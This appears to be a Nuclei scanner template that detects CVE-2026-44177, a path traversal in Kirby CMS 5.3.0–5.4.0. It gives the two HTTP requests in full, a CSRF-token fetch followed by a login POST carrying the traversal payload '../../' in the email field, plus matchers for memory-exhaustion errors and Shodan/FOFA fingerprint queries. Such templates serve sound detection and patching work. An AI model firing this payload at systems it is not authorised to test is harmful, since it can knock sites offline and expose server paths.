Kirby CMS 5.3.0-5.4.0 - Path Traversal

id: CVE-2026-44177

info:
  name: Kirby CMS 5.3.0-5.4.0 - Path Traversal
  author: str4k3r
  severity: high
  description: |
    Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.
  impact: |
    Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.
  remediation: |
    Update to version 5.4.1 or later.
  reference:
    - https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8
    - https://github.com/getkirby/kirby/releases/tag/5.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44177
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.8
    cve-id: CVE-2026-44177
    epss-score: 0.0177
    epss-percentile: 0.76552
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    product: kirby
    vendor: getkirby
    shodan-query: http.favicon.hash:987600836
    fofa-query: icon_hash="987600836"
  tags: cve,cve2026,kirby,cms,lfi,traversal

http:
  - raw:
      - |
        GET /panel/installation HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - '"csrf":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRF: {{csrf}}

        {"email":"../../","password":"x","long":false}

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "currently offline due to an unexpected error"

      - type: word
        part: body
        words:
          - "Allowed memory size of"
          - "bytes exhausted (tried to allocate"
        condition: and
# digest: 4a0a00473045022026c92066112034e8f6d10a3a425d3a44c6e30cb0b88a9506e6535c395a72d2dd022100fc5ea0a96eb30e8425f106e4a191e634d58c096abe5226eb4c7400de630142b0:922c64590222798bb761d5b6d8e72950